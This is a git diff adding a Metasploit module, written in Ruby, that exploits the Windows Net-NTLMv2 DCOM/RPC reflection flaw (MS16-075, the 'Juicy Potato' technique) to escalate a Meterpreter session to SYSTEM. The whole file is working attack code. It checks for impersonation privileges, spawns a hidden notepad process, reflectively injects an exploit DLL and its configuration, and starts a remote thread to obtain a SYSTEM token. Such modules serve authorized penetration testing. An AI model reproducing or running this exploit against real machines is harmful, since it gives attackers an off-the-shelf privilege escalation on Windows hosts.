diff --git a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb new file mode 100644 index 0000000000..7c4c1f1970 --- /dev/null +++ b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/reflective_dll_injection' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)', + 'Description' => %q( + Module utilizes the Net-NTLMv2 reflection between DCOM/RPC + to achieve a SYSTEM handle for elevation of privilege. Currently the module + does not spawn as SYSTEM, however once achieving a shell, one can easily + use incognito to impersonate the token. It requires a CLSID string. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FoxGloveSec', # the original Potato exploit + 'breenmachine', # Rotten Potato NG! + 'decoder', # Lonely / Juicy Potato + 'ohpe', # Juicy Potato + 'phra' # MSF Module + ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'none', + 'WfsDelay' => '0', + 'DisablePayloadHandler' => 'true' + }, + 'Targets' => + [ + ['Automatic', {}], + ['Windows x86', { 'Arch' => ARCH_X86 }], + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'References' => + [ + ['MSB', 'MS16-075'], + ['CVE', '2016-3225'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], + ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], + ['URL', 'https://github.com/breenmachine/RottenPotatoNG'], + ['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'], + ['URL', 'https://ohpe.it/juicy-potato/'] + ], + 'DisclosureDate' => 'Jan 16 2016', + 'DefaultTarget' => 0 + })) + + register_options( + [ + OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ]), + OptPort.new('DCOM_PORT', [ true, 'Set listening port for MITM DCOM communication', 6666 ]) + ]) + + register_advanced_options( + [ + OptAddress.new('RPC_IP', [ true, 'Set RPC_IP value', '127.0.0.1' ]), + OptPort.new('RPC_PORT', [ true, 'Set RPC_PORT value', 135 ]), + OptAddress.new('DCOM_IP', [ true, 'Set DCOM_IP value', '127.0.0.1' ]) + ]) + end + + def assign_target + if target.name == 'Automatic' + case sysinfo["Architecture"] + when 'x86' + vprint_status("Found we are on an x86 target") + my_target = targets[1] + when 'x64' + vprint_status("Found we are on an x64 target") + my_target = targets[2] + else + fail_with(Failure::NoTarget, "Unable to determine target") + end + else + my_target = target + end + return my_target + end + + def verify_arch(my_target) + if my_target["Arch"] != sysinfo["Architecture"] + print_error("Assigned Target Arch = #{my_target.opts['Arch']}") + print_error("Actual Target Arch = #{sysinfo['Architecture']}") + fail_with(Failure::BadConfig, "Assigned Arch does not match reality") + end + if client.arch != sysinfo["Architecture"] + fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported") + else + vprint_good("Current payload and target Arch match....") + end + end + + def check + privs = client.sys.config.getprivs + if privs.include?('SeImpersonatePrivilege') + return Exploit::CheckCode::Appears + end + if privs.include?('SeAssignPrimaryToken') + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + my_target = assign_target + print_status("#{my_target['Arch']}") + verify_arch(my_target) + if check == Exploit::CheckCode::Safe + fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege') + end + if my_target.opts['Arch'] == 'x64' + dll_file_name = 'juicypotato.x64.dll' + vprint_status("Assigning payload juicypotato.x64.dll") + elsif my_target.opts['Arch'] == 'x86' + dll_file_name = 'juicypotato.x86.dll' + vprint_status("Assigning payload juicypotato.x86.dll") + else + fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") + end + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_error('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name) + library_path = ::File.expand_path(library_path) + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...") + #payload_mem = inject_into_process(process, payload.encoded) + configuration = "#{datastore['CLSID']}\x00" + configuration += "#{datastore['DCOM_PORT']}\x00" + configuration += "#{datastore['RPC_IP']}\x00" + configuration += "#{datastore['RPC_PORT']}\x00" + configuration += "#{datastore['DCOM_IP']}\x00" + payload_mem = inject_into_process(process, configuration) + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Configuration injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + print_good('Exploit finished, check incognito module.') + end +end